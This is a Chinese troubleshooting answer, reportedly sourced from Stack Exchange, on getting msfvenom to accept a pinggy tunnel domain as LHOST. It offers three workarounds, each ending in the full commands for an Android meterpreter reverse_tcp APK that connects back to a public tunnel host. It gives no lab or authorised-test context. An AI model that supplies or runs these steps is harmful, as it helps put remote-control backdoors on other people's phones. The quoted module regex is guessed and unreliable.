msfvenom设置长链接为LHOST验证失败,msfupdate后失效求解决
解决msfvenom LHOST验证失败问题
问题原因
msfupdate后,Metasploit对LHOST参数的输入验证规则进行了更新,原本支持的带特殊字符的隧道域名(比如pinggy提供的域名)现在无法通过格式校验。
可行解决方案
方案1:将域名解析为IP使用
先通过ping命令获取隧道域名对应的IP地址:
ping qhuoq-106-219-171-165.run.pinggy-free.link
拿到返回的IP后,替换命令中的LHOST为该IP,重新执行:
msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=40309 -o new.apk
方案2:通过msfconsole生成payload
命令行的msfvenom验证更严格,改用msfconsole操作可绕过部分校验:
- 启动msfconsole:
msfconsole
- 加载目标payload:
use payload/android/meterpreter/reverse_tcp
- 设置参数:
set LHOST qhuoq-106-219-171-165.run.pinggy-free.link set LPORT 40309
- 生成apk文件:
generate -o new.apk
方案3:修改payload验证规则(需root权限)
找到Metasploit中对应payload的配置文件,放宽LHOST的验证规则:
- 定位文件路径(以Kali为例):
/usr/share/metasploit-framework/modules/payloads/stagers/android/reverse_tcp.rb
- 编辑该文件,找到
LHOST的参数定义行,移除或修改regex验证规则。比如原代码可能类似:
OptString.new('LHOST', [true, 'The listen address', '0.0.0.0'], regex: /\A\d+\.\d+\.\d+\.\d+\z/)
将其修改为允许域名的正则,或者直接删除regex部分:
OptString.new('LHOST', [true, 'The listen address', '0.0.0.0'])
- 保存文件后,重新执行msfvenom命令即可。
内容的提问来源于stack exchange,提问作者Harsh Jayasawal
相关产品推荐
相关产品推荐

